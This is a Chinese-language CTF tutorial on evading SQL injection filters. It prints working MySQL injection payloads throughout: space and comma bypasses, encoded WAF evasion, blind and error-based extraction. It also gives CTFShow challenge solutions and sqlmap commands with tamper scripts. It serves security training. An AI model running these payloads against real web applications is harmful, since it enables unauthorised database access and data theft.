CTF Web题中的SQL注入花式绕过:从手工技巧到自动化工具实战
在CTF竞赛的Web安全赛道上,SQL注入始终是高频出现的经典题型。随着防御手段的升级,各种过滤机制层出不穷,从基础的空格过滤到复杂的关键字拦截,对选手的绕过技巧提出了更高要求。本文将系统梳理CTF中常见的SQL注入过滤场景,提供从手工绕过到工具集成的完整解决方案。
1. 过滤机制分析与基础绕过手法
1.1 空格过滤的多种替代方案
当题目过滤空格字符时,注入语句的构造需要特殊处理。以下是经过实战验证的有效替代方案:
1'/**/union/**/select/**/1,2,3# 1'%09union%09select%09version(),2,3%23 1'+(select*from(select+1)a)+union+(select*from(select+2)b)#关键替代字符对照表:
| 过滤字符 | 替代方案 | 适用场景 |
|---|---|---|
| 空格 | /**/ | MySQL注释语法 |
| 空格 | %09 (TAB) | URL编码形式 |
| 空格 | %0A (换行) | 特殊编码场景 |
| 空格 | 括号包裹表达式 | 特定函数调用时 |
1.2 逗号限制的创造性解法
在order by、limit等子句中,逗号经常成为被过滤对象。通过子查询和join语法可以巧妙绕过:
-- 传统limit 0,1的替代写法 1' union select * from (select 1)a join (select 2)b join (select 3)c limit 1 offset 0# -- 替代if函数的case when语法 1' and case when (ascii(substr(database()from(1)for(1)))>100) then 1 else 0 end#2. 高级绕过技术与实战案例
2.1 基于字符编码的混淆技术
某些WAF会对特定关键词进行匹配拦截,通过编码转换可有效规避检测:
# URL双重编码示例 payload = "1' UNI%25%34%6FN SELECT 1,2,3--+" # 十六进制表示字符串 hex_payload = "0x" + "admin".encode('utf-8').hex()CTFShow Web6实战:
1'%25%32%30union%25%32%30select%25%32%301,group_concat(table_name),3%25%32%30from%25%32%30information_schema.tables%25%32%30where%25%32%30table_schema=database()%232.2 布尔盲注的高效利用
当直接回显被禁用时,布尔盲注成为可靠选择。优化后的注入策略可以显著提高效率:
1' and (select case when (substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='f') then sleep(3) else 0 end)#提示:结合二分查找算法可以大幅减少请求次数,对于时间盲注建议设置合理的超时阈值
3. sqlmap高级应用与tamper脚本解析
3.1 常用tamper脚本功能详解
sqlmap内置的tamper脚本能自动处理各种过滤场景,以下是针对CTF的精选脚本:
| 脚本名称 | 主要功能 | 适用过滤场景 |
|---|---|---|
| space2comment | 空格转/**/ | 基础空格过滤 |
| between | 用between替换比较符 | 比较符号(>,=)过滤 |
| randomcase | 随机大小写混淆 | 关键字大小写检测 |
| charencode | URL编码转换 | 简单关键词匹配 |
| equaltolike | = 转 LIKE | 等号过滤 |
3.2 CTFShow Web7自动化注入实战
# 基础探测 sqlmap -u "http://target.com?id=1" --tamper=space2comment --batch --dbs # 指定数据库深度注入 sqlmap -u "http://target.com?id=1" --tamper=space2comment,randomcase \ -D web7 --technique=B --level=3 --risk=3 --flush-session关键参数说明:
--technique=B:指定使用布尔盲注技术--level=3:增加检测头(User-Agent,Referer)--flush-session:强制刷新会话缓存
4. 防御规避与综合实战策略
4.1 混合绕过技术组合应用
在实际CTF题目中,往往需要多种技术组合使用:
/* 同时绕过空格和逗号过滤的复杂示例 */ 1'/*!50000union*/select*from((select+1)A)join((select+2)B)join((select+3)C)#4.2 基于报错注入的精确利用
当过滤规则过于严格时,报错注入可能成为突破口:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#CTFShow Web8解决方案:
1'||extractvalue(1,concat(0x7e,(select(flag)from(flag)limit(1)),0x7e))%23在实战中发现,某些题目会过滤常见的报错函数如updatexml,此时可尝试使用polygon等几何函数作为替代方案。对于特别严格的过滤环境,建议采用分段注入技术,将长字符串拆分为多个短字符串后再组合